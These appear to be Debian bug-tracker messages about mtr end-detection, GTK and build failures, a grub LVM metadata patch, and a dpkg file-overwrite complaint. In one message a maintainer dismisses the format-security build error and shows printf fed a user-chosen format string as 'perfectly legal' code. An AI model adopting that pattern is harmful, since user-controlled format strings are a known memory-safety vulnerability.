Bug#1055978: mtr-tiny: traceroute does not stop on subnet router anycast addresses

[Rogier Wolff]

                       
> 0.0%     1    1.4   1.4   1.4   1.4   0.0
> 28. 2001:db8:0:2::2                                                          
> 0.0%     1    1.2   1.2   1.2   1.2   0.0
> 29. 2001:db8:0:2::2                                                          
> 0.0%     1    1.4   1.4   1.4   1.4   0.0
> 30. 2001:db8:0:2::2                                                          
> 0.0%     1    1.4   1.4   1.4   1.4   0.0
> 
> 
> On Wednesday, November 15, 2023 11:15 CET, Rogier Wolff 
>  wrote:
>  Hi,
> 
> I'd say this is an unwanted side-effect rather than a bug.
> 
> I'd say the "end-detection" might also consider three times the same
> host responding to be considerd as "the end".
> 
> Originally the TTL, that is now "hop counter" was the "number of
> seconds in the network".
> 
> Thus if there was a queue of 5 seconds before a packet could take
> the next link, the TTL would be decreased by five for that hop. And
> that router should return a TTL EXCEEDED for packets arriving with
> a TTL of 1-5.
> 
> This would, after the suggested change trigger the end-detection. I'm
> thinking that this would be rare enough nowadays to be acceptable.
> 
> The question is: What response are you getting. If it is a "ping
> reply" and not a "time exceeded" we should definitively detct that as
> "target reached". So can you trace the network?
> 
> Can you submit an upstream bugreport on github?
> https://github.com/traviscross/mtr/issues
> 
> Roger.
> 
> 
> On Wed, Nov 15, 2023 at 10:45:28AM +0100, Roland Christanell wrote:
> > Package: mtr-tiny
> > Version: 0.94-1+deb11u1
> > Severity: normal
> > Tags: ipv6
> > X-Debbugs-Cc: li...@christanell.info
> >
> > Dear Maintainer,
> >
> > When I'm trying to use mtr to an 'subnet router anycast address' which 
> > terminates on a linux router, the router answers with the IPv6 address 
> > configured on it's interface and not the anycast address, so the mtr does 
> > not stop.
> >
> > (For the example I use the IPv6 documentation address space)
> > Let's say my linux router has the IPv6 2001:db8:0:1::1/64 and I want to 
> > make a traceroute to 2001:db8:0:1::
> > Example: mtr 2001:db8:0:1::
> > Host Loss% Snt Last Avg Best Wrst StDev
> > 1. :::X:XX 0.0% 3 0.7 1.4 0.7 2.6 1.1
> > 2. :::X:XX 0.0% 3 2.4 1.3 0.7 2.4 1.0
> > 3. :::X:XX 0.0% 3 3.4 4.5 3.4 5.5 1.1
> > 4. 2001:db8:0:1::1 0.0% 3 3.7 3.6 3.5 3.7 0.1
> > 5. 2001:db8:0:1::1 0.0% 3 3.7 3.6 3.5 3.7 0.1
> > 6. 2001:db8:0:1::1 0.0% 3 3.7 3.6 3.5 3.7 0.1
> > 7. 2001:db8:0:1::1 0.0% 3 3.7 3.6 3.5 3.7 0.1
> > 8. 2001:db8:0:1::1 0.0% 3 3.7 3.6 3.5 3.7 0.1
> > 9. 2001:db8:0:1::1 0.0% 3 3.7 3.6 3.5 3.7 0.1
> > 10. ...
> >
> > In my opinion the mtr does not stop, because it does not get an answer from 
> > the requested address, but because it's an 'subnet router anycast address' 
> > the router answers anyway, which is correct.
> >
> > Maybe I'm wrong, but I would expect a result like this:
> > Example: mtr 2001:db8:0:1::
> > Host Loss% Snt Last Avg Best Wrst StDev
> > 1. :::X:XX 0.0% 3 0.7 1.4 0.7 2.6 1.1
> > 2. :::X:XX 0.0% 3 2.4 1.3 0.7 2.4 1.0
> > 3. :::X:XX 0.0% 3 3.4 4.5 3.4 5.5 1.1
> > 4. 2001:db8:0:1:: 0.0% 3 3.7 3.6 3.5 3.7 0.1
> >
> > As far as I found out, it seems to only appear on linux routers, so I'm not 
> > 100% sure if it's a bug in mtr-tiny or a misconfiguration on the linux 
> > routers.
> >
> >
> > -- System Information:
> > Debian Release: 11.8
> > APT prefers oldstable-updates
> > APT policy: (500, 'oldstable-updates'), (500, 'oldstable-security'), (500, 
> > 'oldstable')
> > Architecture: amd64 (x86_64)
> >
> > Kernel: Linux 5.10.0-26-amd64 (SMP w/1 CPU thread)
> > Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
> > LANGUAGE=en_US:en
> > Shell: /bin/sh linked to /usr/bin/dash
> > Init: systemd (via /run/systemd/system)
> > LSM: AppArmor: enabled
> >
> > Versions of packages mtr-tiny depends on:
> > ii libc6 2.31-13+deb11u7
> > ii libjansson4 2.13.1-1.1
> > ii libncurses6 6.2+20201114-2+deb11u2
> > ii libtinfo6 6.2+20201114-2+deb11u2
> >
> > mtr-tiny recommends no packages.
> >
> > mtr-tiny suggests no packages.
> >
> > -- no debconf information
> >
> 
> --
> ** r.e.wo...@bitwizard.nl ** https://www.BitWizard.nl/ ** +31-15-2049110 **
> ** Delftechpark 11 2628 XJ Delft, The Netherlands. KVK: 27239233 **
> f equals m times a. When your f is steady, and your m is going down
> your a is going up. -- Chris Hadfield about flying up the space shuttle


-- 
** r.e.wo...@bitwizard.nl ** https://www.BitWizard.nl/ ** +31-15-2049110 **
**Delftechpark 11 2628 XJ  Delft, The Netherlands.  KVK: 27239233**
f equals m times a. When your f is steady, and your m is going down
your a is going up.  -- Chris Hadfield about flying up the space shuttle.

Bug#1055978: mtr-tiny: traceroute does not stop on subnet router anycast addresses

[Rogier Wolff]

Hi, 

I'd say this is an unwanted side-effect rather than a bug. 

I'd say the "end-detection" might also consider three times the same
host responding to be considerd as "the end". 

Originally the TTL, that is now "hop counter" was the "number of
seconds in the network".

Thus if there was a queue of 5 seconds before a packet could take
the next link, the TTL would be decreased by five for that hop. And
that router should return a TTL EXCEEDED for packets arriving with
a TTL of 1-5. 

This would, after the suggested change trigger the end-detection. I'm
thinking that this would be rare enough nowadays to be acceptable.

The question is: What response are you getting. If it is a "ping
reply" and not a "time exceeded" we should definitively detct that as
"target reached". So can you trace the network?

Can you submit an upstream bugreport on github?
https://github.com/traviscross/mtr/issues

Roger. 


On Wed, Nov 15, 2023 at 10:45:28AM +0100, Roland Christanell wrote:
> Package: mtr-tiny
> Version: 0.94-1+deb11u1
> Severity: normal
> Tags: ipv6
> X-Debbugs-Cc: li...@christanell.info
> 
> Dear Maintainer,
> 
> When I'm trying to use mtr to an 'subnet router anycast address' which 
> terminates on a linux router, the router answers with the IPv6 address 
> configured on it's interface and not the anycast address, so the mtr does not 
> stop.
> 
> (For the example I use the IPv6 documentation address space)
> Let's say my linux router has the IPv6 2001:db8:0:1::1/64 and I want to make 
> a traceroute to 2001:db8:0:1::
> Example: mtr 2001:db8:0:1::
> Host  Loss%   Snt   Last  
>  Avg  Best  Wrst StDev
> 1. :::X:XX0.0% 30.7   
> 1.4   0.7   2.6   1.1
> 2. :::X:XX0.0% 32.4   
> 1.3   0.7   2.4   1.0
> 3. :::X:XX  0.0% 33.4   
> 4.5   3.4   5.5   1.1
> 4. 2001:db8:0:1::10.0% 33.7   
> 3.6   3.5   3.7   0.1
> 5. 2001:db8:0:1::10.0% 33.7   
> 3.6   3.5   3.7   0.1
> 6. 2001:db8:0:1::10.0% 33.7   
> 3.6   3.5   3.7   0.1
> 7. 2001:db8:0:1::10.0% 33.7   
> 3.6   3.5   3.7   0.1
> 8. 2001:db8:0:1::10.0% 33.7   
> 3.6   3.5   3.7   0.1
> 9. 2001:db8:0:1::10.0% 33.7   
> 3.6   3.5   3.7   0.1
> 10.   ...
> 
> In my opinion the mtr does not stop, because it does not get an answer from 
> the requested address, but because it's an 'subnet router anycast address' 
> the router answers anyway, which is correct.
> 
> Maybe I'm wrong, but I would expect a result like this:
> Example: mtr 2001:db8:0:1::
> Host  Loss%   Snt   Last  
>  Avg  Best  Wrst StDev
> 1. :::X:XX0.0% 30.7   
> 1.4   0.7   2.6   1.1
> 2. :::X:XX0.0% 32.4   
> 1.3   0.7   2.4   1.0
> 3. :::X:XX  0.0% 33.4   
> 4.5   3.4   5.5   1.1
> 4. 2001:db8:0:1:: 0.0% 33.7   
> 3.6   3.5   3.7   0.1
> 
> As far as I found out, it seems to only appear on linux routers, so I'm not 
> 100% sure if it's a bug in mtr-tiny or a misconfiguration on the linux 
> routers.
> 
> 
> -- System Information:
> Debian Release: 11.8
>   APT prefers oldstable-updates
>   APT policy: (500, 'oldstable-updates'), (500, 'oldstable-security'), (500, 
> 'oldstable')
> Architecture: amd64 (x86_64)
> 
> Kernel: Linux 5.10.0-26-amd64 (SMP w/1 CPU thread)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
> LANGUAGE=en_US:en
> Shell: /bin/sh linked to /usr/bin/dash
> Init: systemd (via /run/systemd/system)
> LSM: AppArmor: enabled
> 
> Versions of packages mtr-tiny depends on:
> ii  libc62.31-13+deb11u7
> ii  libjansson4  2.13.1-1.1
> ii  libncurses6  6.2+20201114-2+deb11u2
> ii  libtinfo66.2+20201114-2+deb11u2
> 
> mtr-tiny recommends no packages.
> 
> mtr-tiny suggests no packages.
> 
> -- no debconf information
> 

-- 
** r.e.wo...@bitwizard.nl ** https://www.BitWizard.nl/ ** +31-15-2049110 **
**Delftechpark 11 2628 XJ  Delft, The Netherlands.  KVK: 27239233**
f equals m times a. When your f is steady, and your m is going down
your a is going up.  -- Chris Hadfield about flying up the space shuttle.

Bug#967647: mtr: depends on deprecated GTK 2

[Rogier Wolff]

For Debian I then need to create a release I think. 

I'll try to do that soon. Thanks for testing. 

Roger.

On Fri, May 20, 2022 at 12:20:29PM +0200, Jordi Mallach wrote:
> Package: mtr
> Version: 0.95-1
> Followup-For: Bug #967647
> 
> Hi,
> 
> I just tested a build for this and I can confirm this works just
> swapping libgtk2.0-dev with libgtk-3-dev in the Build-Depends.
> 
> Please upload a package linked against libgtk-3-0.
> 
> Thanks,
> Jordi
> 
> -- System Information:
> Debian Release: bookworm/sid
>   APT prefers unstable
>   APT policy: (500, 'unstable'), (1, 'experimental')
> Architecture: amd64 (x86_64)
> 
> Kernel: Linux 5.17.0-2-amd64 (SMP w/8 CPU threads; PREEMPT)
> Locale: LANG=ca_ES.UTF-8, LC_CTYPE=ca_ES.UTF-8 (charmap=UTF-8), 
> LANGUAGE=ca_ES:ca
> Shell: /bin/sh linked to /usr/bin/dash
> Init: systemd (via /run/systemd/system)
> LSM: AppArmor: enabled
> 
> Versions of packages mtr depends on:
> ii  libc62.33-7
> ii  libgdk-pixbuf-2.0-0  2.42.8+dfsg-1
> ii  libglib2.0-0 2.72.1-1
> ii  libgtk-3-0   3.24.33-2
> ii  libjansson4  2.14-2
> ii  libncurses6  6.3+20220423-2
> ii  libtinfo66.3+20220423-2
> 
> mtr recommends no packages.
> 
> mtr suggests no packages.
> 
> -- no debconf information
> 

-- 
** r.e.wo...@bitwizard.nl ** https://www.BitWizard.nl/ ** +31-15-2049110 **
**Delftechpark 11 2628 XJ  Delft, The Netherlands.  KVK: 27239233**
f equals m times a. When your f is steady, and your m is going down
your a is going up.  -- Chris Hadfield about flying up the space shuttle.

Bug#1003685: What about bullseye ?

[Rogier]

Dear maintainer.

I am a bit surprised that this bug has been closed, even 
though it has not yet been fixed in bullseye.

Is a security update for bullseye still in the making ?

Kind regards,

Rogier.

Bug#987008: Info received (Grub fails to find LVM volume after previous LV rename)

[Rogier]

As this problem exists upstream, I 
have submitted an upstream bug 
report.

https://savannah.gnu.org/bugs/index.p
hp?61620

Bug#999730: mtr: Fix FTBFS with glib2.0 >= 2.70 and deprecated GTimeVal of gtk+2.0

[Rogier Wolff]

Hi, 

I've accepted a patch into upstream that fixes the format errors. 

Roger. 

On Mon, Nov 15, 2021 at 05:21:45PM +0100, Lukas Märdian wrote:
> Package: mtr
> Version: 0.94-2
> Severity: serious
> Tags: patch ftbfs
> Justification: fails to build from source (but built successfully in the past)
> User: ubuntu-de...@lists.ubuntu.com
> Usertags: origin-ubuntu jammy ubuntu-patch
> X-Debbugs-Cc: sl...@ubuntu.com
> 
> Hi Robert,
> 
> mtr fails to build from source, if compiled against glib2.0 >= v2.70, due to 
> usage of deprecated GTimeVal in gtk+2.0 headers (that's a dependency of mtr).
> 
> In Ubuntu, the attached patch was applied to achieve the following:
> 
>   * Fix FTBFS with glib >= 2.70 & deprecated definitions of GTimeVal in 
> gtk+2.0
> 
> 
> Thanks for considering the patch.
> 
> Cheers,
>   Lukas
> 
> Build log:
> gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2 -pthread 
> -I/usr/include/gtk-2.0 -I/usr/lib/s390x-linux-gnu/gtk-2.0/include 
> -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 -I/usr/include/gdk-pixbuf-2.0 
> -I/usr/include/libpng16 -I/usr/include/s390x-linux-gnu 
> -I/usr/include/pango-1.0 -I/usr/include/harfbuzz -I/usr/include/pango-1.0 
> -I/usr/include/libmount -I/usr/include/blkid -I/usr/include/fribidi 
> -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/harfbuzz 
> -I/usr/include/glib-2.0 -I/usr/lib/s390x-linux-gnu/glib-2.0/include 
> -I/usr/include/uuid -I/usr/include/freetype2 -I/usr/include/libpng16-g 
> -O2 -ffile-prefix-map=/<>=. -flto=auto -ffat-lto-objects 
> -fstack-protector-strong -Wformat -Werror=format-security -Wall 
> -Wno-pointer-sign -c -o ui/mtr-gtk.o `test -f 'ui/gtk.c' || echo 
> '../'`ui/gtk.c
> ../ui/curses.c: In function ‘mtr_curses_hosts’:
> ../ui/curses.c:435:17: error: format not a string literal and no format 
> arguments [-Werror=format-security]
>   435 | printw(fmt_ipinfo(ctl, addr));
>   | ^~
> ../ui/curses.c:488:21: error: format not a string literal and no format 
> arguments [-Werror=format-security]
>   488 | printw(fmt_ipinfo(ctl, addrs));
>   | ^~
> ../ui/curses.c: In function ‘mtr_curses_graph’:
> ../ui/curses.c:653:17: error: format not a string literal and no format 
> arguments [-Werror=format-security]
>   653 | printw(fmt_ipinfo(ctl, addr));
>   | ^~
> ../ui/curses.c: In function ‘mtr_curses_redraw’:
> ../ui/curses.c:703:5: error: format not a string literal and no format 
> arguments [-Werror=format-security]
>   703 | mvprintw(1, maxx - 25, iso_time(&t));
>   | ^~~~
> ../ui/curses.c:763:42: error: format not a string literal and no format 
> arguments [-Werror=format-security]
>   763 | mvprintw(rowstat - 1, startstat, msg);
>   |  ^~~
> gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> -ffile-prefix-map=/<>=. -flto=auto -ffat-lto-objects 
> -fstack-protector-strong -Wformat -Werror=format-security -Wall 
> -Wno-pointer-sign -c -o packet/packet.o ../packet/packet.c
> gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> -ffile-prefix-map=/<>=. -flto=auto -ffat-lto-objects 
> -fstack-protector-strong -Wformat -Werror=format-security -Wall 
> -Wno-pointer-sign -c -o packet/cmdparse.o ../packet/cmdparse.c
> gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> -ffile-prefix-map=/<>=. -flto=auto -ffat-lto-objects 
> -fstack-protector-strong -Wformat -Werror=format-security -Wall 
> -Wno-pointer-sign -c -o packet/command.o ../packet/command.c
> gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> -ffile-prefix-map=/<>=. -flto=auto -ffat-lto-objects 
> -fstack-protector-strong -Wformat -Werror=format-security -Wall 
> -Wno-pointer-sign -c -o packet/probe.o ../packet/probe.c
> In file included from /usr/include/gtk-2.0/gtk/gtkobject.h:37,
>  from /usr/include/gtk-2.0/gtk/gtkwidget.h:36,
>  from /usr/include/gtk-2.0/gtk/gtkcontainer.h:35,
>  from /usr/include/gtk-2.0/gtk/gtkbin.h:35,
>  from /usr/include/gtk-2.0/gtk/gtkwindow.h:36,
>  from /usr/include/gtk-2.0/gtk/gtkdialog.h:35,
>  from /usr/include/gtk-2.0/gtk/gtkaboutdialog.h:32,
>  from /usr/include/gtk-2.0/gtk/gtk.h:33,
>  from ../ui/gtk.c:31:
> /usr/include/gtk-2.0/gtk/gtktypeutils.h:236:1: warning: ‘GTypeDebugFlags’ is 
> deprecated [-Wdeprecated-declarations]
>   236 | voidgtk_type_init   (GTypeDebugFlagsdebug_flags);
>   | ^~~~
> In file included from /usr/include/glib-2.0/gobject/gobject.h:24,
>  from /usr/include/glib-2.0/gobject/gbinding.h:29,
>  from /usr/include/glib-2.0/glib-object.h:22,
>  from /usr/include/glib-2.0/gio/gioenums.h:28,
>  from /usr/inclu

Bug#997194: mtr: FTBFS: ../ui/curses.c:435:17: error: format not a string literal and no format arguments [-Werror=format-security]

[Rogier Wolff]

On Sat, Oct 23, 2021 at 09:07:10PM +0200, Lucas Nussbaum wrote:
> Source: mtr
> Version: 0.94-2
> Severity: serious
> Justification: FTBFS
> Tags: bookworm sid ftbfs

That's an error in your compiler. 

A printf-like function often has a string litteral specifying the
format

  printf ("a = %d\n", a); 

But it is still just a string. So when I want to print something
either in hex or in dec depending on a user-setting.

I could do something like: 
  printf ("a = ");
  printf (theformat, a);
  printf ("\n");

Now this has become three statements. To compact this a bit more, we 
might do:
  sprintf (format, "a = %s\n", theformat); // format is %d or %x or... set by 
user
  printf (format, a); 

I think this is perfectly legal C code and your compiler doesn't like
it. It doesn't just warn, but gives an error. 

Roger. 

> Hi,
> 
> During a rebuild of all packages in sid, your package failed to build
> on amd64.
> 
> 
> Relevant part (hopefully):
> > gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2 -pthread 
> > -I/usr/include/gtk-2.0 -I/usr/lib/x86_64-linux-gnu/gtk-2.0/include 
> > -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 
> > -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libpng16 
> > -I/usr/include/x86_64-linux-gnu -I/usr/include/pango-1.0 
> > -I/usr/include/harfbuzz -I/usr/include/pango-1.0 -I/usr/include/libmount 
> > -I/usr/include/blkid -I/usr/include/fribidi -I/usr/include/cairo 
> > -I/usr/include/pixman-1 -I/usr/include/harfbuzz -I/usr/include/glib-2.0 
> > -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -I/usr/include/uuid 
> > -I/usr/include/freetype2 -I/usr/include/libpng16-g -O2 
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> > -Werror=format-security -Wall -Wno-pointer-sign -c -o ui/mtr-curses.o `test 
> > -f 'ui/curses.c' || echo '../'`ui/curses.c
> > ../ui/curses.c: In function ‘mtr_curses_hosts’:
> > ../ui/curses.c:435:17: error: format not a string literal and no format 
> > arguments [-Werror=format-security]
> >   435 | printw(fmt_ipinfo(ctl, addr));
> >   | ^~
> > ../ui/curses.c:488:21: error: format not a string literal and no format 
> > arguments [-Werror=format-security]
> >   488 | printw(fmt_ipinfo(ctl, addrs));
> >   | ^~
> > ../ui/curses.c: In function ‘mtr_curses_graph’:
> > ../ui/curses.c:653:17: error: format not a string literal and no format 
> > arguments [-Werror=format-security]
> >   653 | printw(fmt_ipinfo(ctl, addr));
> >   | ^~
> > ../ui/curses.c: In function ‘mtr_curses_redraw’:
> > ../ui/curses.c:703:5: error: format not a string literal and no format 
> > arguments [-Werror=format-security]
> >   703 | mvprintw(1, maxx - 25, iso_time(&t));
> >   | ^~~~
> > ../ui/curses.c:763:42: error: format not a string literal and no format 
> > arguments [-Werror=format-security]
> >   763 | mvprintw(rowstat - 1, startstat, msg);
> >   |  ^~~
> > gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2 -pthread 
> > -I/usr/include/gtk-2.0 -I/usr/lib/x86_64-linux-gnu/gtk-2.0/include 
> > -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 
> > -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libpng16 
> > -I/usr/include/x86_64-linux-gnu -I/usr/include/pango-1.0 
> > -I/usr/include/harfbuzz -I/usr/include/pango-1.0 -I/usr/include/libmount 
> > -I/usr/include/blkid -I/usr/include/fribidi -I/usr/include/cairo 
> > -I/usr/include/pixman-1 -I/usr/include/harfbuzz -I/usr/include/glib-2.0 
> > -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -I/usr/include/uuid 
> > -I/usr/include/freetype2 -I/usr/include/libpng16-g -O2 
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> > -Werror=format-security -Wall -Wno-pointer-sign -c -o ui/mtr-gtk.o `test -f 
> > 'ui/gtk.c' || echo '../'`ui/gtk.c
> > gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> > -Werror=format-security -Wall -Wno-pointer-sign -c -o packet/packet.o 
> > ../packet/packet.c
> > gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> > -Werror=format-security -Wall -Wno-pointer-sign -c -o packet/cmdparse.o 
> > ../packet/cmdparse.c
> > gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> > -Werror=format-security -Wall -Wno-pointer-sign -c -o packet/command.o 
> > ../packet/command.c
> > gcc -DHAVE_CONFIG_H -I. -I..   -Wdate-time -D_FORTIFY_SOURCE=2  -g -O2 
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> > -Werror=format-security -Wall -Wno-pointer-sign -c -o packet/probe.o 
> > ../packet/probe.c
> > In file included from /usr/include/string.h:519,
> >  from ../packet/probe.c:31:
> > In function ‘

Bug#987008: Grub fails to find LVM volume after previous LV rename

[Rogier]

Additional information for the benefit of anybody who uses LVM and 
grub, and is unsure if or when this problem will affect them:

Besides the system being rendered unbootable, another symptom of this 
problem being acute is that, at that time, update-grub will most 
probably(*) print messages of the following kind, one for each LVM 
filesystem affected:

grub-probe: error: disk `lvmid/**------
**/**------**' not found.

The immediate workaround, if this problem occurs, would be to make 
another modification to the LVM configuration. Then run update-grub 
again. For verification, the following command can also be used:

grub-probe -d /dev/mapper/ -t 
fs

If the problem is acute, the error message should be printed, if it is 
not acute, then there should be no error message (no warranties :-).

Kind regards,

Rogier.


(*) but not if os-prober is disabled for update-grub.

Bug#987008: Grub fails to find LVM volume after previous LV rename

[Rogier]

Dear maintainer,

I have also run into this bug, in the same version of grub 
(2.02+dfsg1-20+deb10u4).

As *any* change to the LVM configuration can trigger the bug, rendering the 
system unbootable, this is a ticking bomb for users of LVM. IMO the severity of 
this bug should be increased to critical.

I did some investigation, and the cause is an incorrect computation of mda_end 
when the metadata area wraps around.

The following patch fixes the problem:
---
Index: grub2-2.02+dfsg1/grub-core/disk/lvm.c
===
--- grub2-2.02+dfsg1.orig/grub-core/disk/lvm.c
+++ grub2-2.02+dfsg1/grub-core/disk/lvm.c
@@ -253,7 +253,7 @@ error_parsing_metadata:

   p = q = (char *)ptr;

-  if (grub_add ((grub_size_t)metadatabuf, (grub_size_t)mda_size, &ptr))
+  if (grub_add (ptr, (grub_size_t)grub_le_to_cpu64 (rlocn->size), &ptr))
 goto error_parsing_metadata;

   mda_end = (char *)ptr;


I checked the sources of grub2-2.04 in bullseye, and the code in question looks 
exactly the same, so this same bug is also present in bullseye and testing.

Kind regards,

Rogier.

Bug#918778: closed by Guillem Jover (Re: Bug#918778: dpkg does not report all files to be overwritten.)

[Rogier Wolff]

Well, in my case, the ARM compiler in the distribution (Ubuntu)
stopped working (from 16.04 to 18.04). So I had to install a third
party ARM compiler .deb . 

I was going to argue that packaging error can be avoided if there
would be an easy tool that scans an entire repository for duplicate
files, but in this case the ubuntu team would've come up clean.

And again, it can be said that BOTH packages are wrong in installing
that file there. 

But still leaving a potential "dataloss" situation in existance seems
"wrong" to me.

Roger. 




On Tue, Jan 29, 2019 at 10:36:03AM +, Debian Bug Tracking System wrote:
> This is an automatic notification regarding your Bug report
> which was filed against the dpkg package:
> 
> #918778: dpkg does not report all files to be overwritten.
> 
> It has been closed by Guillem Jover .
> 
> Their explanation is attached below along with your original report.
> If this explanation is unsatisfactory and you have not received a
> better one in a separate message then please contact Guillem Jover 
>  by
> replying to this email.
> 
> 
> -- 
> 918778: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=918778
> Debian Bug Tracking System
> Contact ow...@bugs.debian.org with problems

> Date: Tue, 29 Jan 2019 11:31:30 +0100
> From: Guillem Jover 
> To: Roger Wolff , 918778-d...@bugs.debian.org
> Subject: Re: Bug#918778: dpkg does not report all files to be overwritten.
> X-Spam-Status: No, score=-22.5 required=4.0 tests=ALL_TRUSTED,BAYES_00,
>  FROMDEVELOPER,HAS_BUG_NUMBER,TXREP autolearn=ham autolearn_force=no
>  version=3.4.2-bugs.debian.org_2005_01_02
> 
> Hi!
> 
> On Wed, 2019-01-09 at 10:43:08 +0100, Roger Wolff wrote:
> > Package: dpkg
> > Version: 1.19.0.5
> 
> > When installing gcc-avr, I got the error message: 
> > dpkg: error processing archive 
> > /var/cache/apt/archives/gcc-avr_1%3a5.4.0+Atmel3.6.0-1build1_amd64.deb 
> > (--unpack):
> >  trying to overwrite '/usr/lib/libcc1.so.0.0.0', which is also in package 
> > gcc-arm-embedded 7-2018q2-1~bionic1
> > 
> > So because I need the gcc-avr package now, and "not today" the
> > gcc-ARM compiler, I decided to make a backup of the offending file
> > and then force the install of gcc-avr. 
> > 
> > Then I get: 
> > 
> > dpkg: warning: overriding problem because --force enabled:
> > dpkg: warning: trying to overwrite '/usr/lib/libcc1.so', which is also in 
> > package gcc-arm-embedded 7-2018q2-1~bionic1
> > dpkg: warning: overriding problem because --force enabled:
> > dpkg: warning: trying to overwrite '/usr/lib/libcc1.so.0', which is also in 
> > package gcc-arm-embedded 7-2018q2-1~bionic1
> > 
> > so now it has overwritten two files that I did NOT make a backup of!
> 
> Right.
> 
> > I can probably recover by telling dpkg to force-overwrite during
> > a reinstall of the ARM compiler, and it is of course a packaging
> > error of those compilers to use a shared place to store these
> > libraries, but dpkg should have allowed me to make a backup
> > of the files without me having to figure out how to reinstall
> > that ARM compiler while overwriting these shared files. 
> 
> The problem with this request is that the code just errors out on the
> first file conflict, and changing the code to keep going so that it
> can report all other instances would make it messier and error-prone,
> for something that only happens due to packaging errors, when using a
> force option marked as possibly damaging the system, and possibly when
> not having the .debs for the installed packages anymore. :)
> 
> So, I'd rather keep the code as is. What I'd recommend though, which
> might still not help fully in case a package takes over files from
> multiple packages, is to use dpkg-repack to archive the installed
> package contents. But if you can install the other package any time,
> you can always force that in too.
> 
> I'm thus closing this report, sorry!
> 
> Thanks,
> Guillem

> Date: Wed, 9 Jan 2019 10:43:08 +0100
> From: Roger Wolff 
> To: sub...@bugs.debian.org
> Subject: dpkg does not report all files to be overwritten.
> X-Spam-Status: No, score=-10.0 required=4.0 tests=BAYES_00,HAS_PACKAGE,
>  RCVD_IN_DNSWL_NONE,SPF_PASS autolearn=ham autolearn_force=no
>  version=3.4.2-bugs.debian.org_2005_01_02
> 
> Package: dpkg
> Version: 1.19.0.5
> 
> 
> When installing gcc-avr, I got the error message: 
> dpkg: error processing archive 
> /var/cache/apt/archives/gcc-avr_1%3a5.4.0+Atmel3.6.0-1build1_amd64.deb 
> (--unpack):
>  trying to overwrite '/usr/lib/libcc1.so.0.0.0', which is also in package 
> gcc-arm-embedded 7-2018q2-1~bionic1
> 
> So because I need the gcc-avr package now, and "not today" the
> gcc-ARM compiler, I decided to make a backup of the offending file
> and then force the install of gcc-avr. 
> 
> Then I get: 
> 
> dpkg: warning: overriding problem because --force enabled:
> dpkg: warning: trying to overwrite '/usr/lib/libcc1.so', which is also in 
> package gcc-arm-embedded 7-2018q2-1~bionic1
> dpkg: warning: over

Bug#839879: mtr FTCBFS: uses build architecture tools

[Rogier Wolff]

On Sat, Sep 30, 2017 at 10:32:04AM +0200, Manuel A. Fernandez Montecelo wrote:
> 2017-09-30 3:39 GMT+02:00 Robert Woodcock :
> > On 09/28/2017 06:41 PM, Manuel A. Fernandez Montecelo wrote:
> >
> > Samuel and I are working on releasing 0.92 - I'll make sure that this is
> > in there. Thanks for the reminder.
> 
> That's great, thanks!

Is there anything I can do upstream to make things easier for you?

Roger.


-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.

Bug#840563: mtr: New 0.87 release fixes issue with paths with long gaps

[Rogier Wolff]

On Sat, Oct 15, 2016 at 01:00:28AM -0400, Matthew Gabeler-Lee wrote:
> On Thu, 13 Oct 2016, Rogier Wolff wrote:
> 
> >No! Not a "more reasonable" value! An outrageous value!
> >
> >You have a network where 5 hops-in-a-row don't conform to IP standards. And
> >then you expect mtr to work?
> 
> traceroute works fine, ping works fine, tcp connections work fine
> ... but mtr is special and should fail just because the network
> doesn't meet your ideals?  And yeah, MTR would work fine in this
> case if it didn't decide to give up "just because".  The "give up
> after 5" is the /only/ thing preventing it from working properly.
> 
> To put a concrete example to it, consider the case of tunnels, esp.
> VPNs.  It is common for the TTL of the tunneled packet to be copied
> to the outer packet for various good reasons.  But this means that
> traceroute through that tunnel will not return the errors for any
> TTL value that causes the packet to be dropped at points between the
> endpoints of the tunnel, because the error will be returned back to
> the tunnel endpoint, not the original sender.
> 
> Happens with OpenVPN (it's even in their FAQ I think), happens with
> the Cisco IPSEC site-to-site tunnel used at my employer.

To discover the route to a "random" host we could just send out probes
for every distance up to the max TTL. This is wasteful because most of
the targets will be within say 12 hops, so sending out 64 packets is
too much. Another common situation is that you start using mstr to
determine where in the network packets are being dropped. If there is
a 100% blockage at some point, after that moment no further probe will
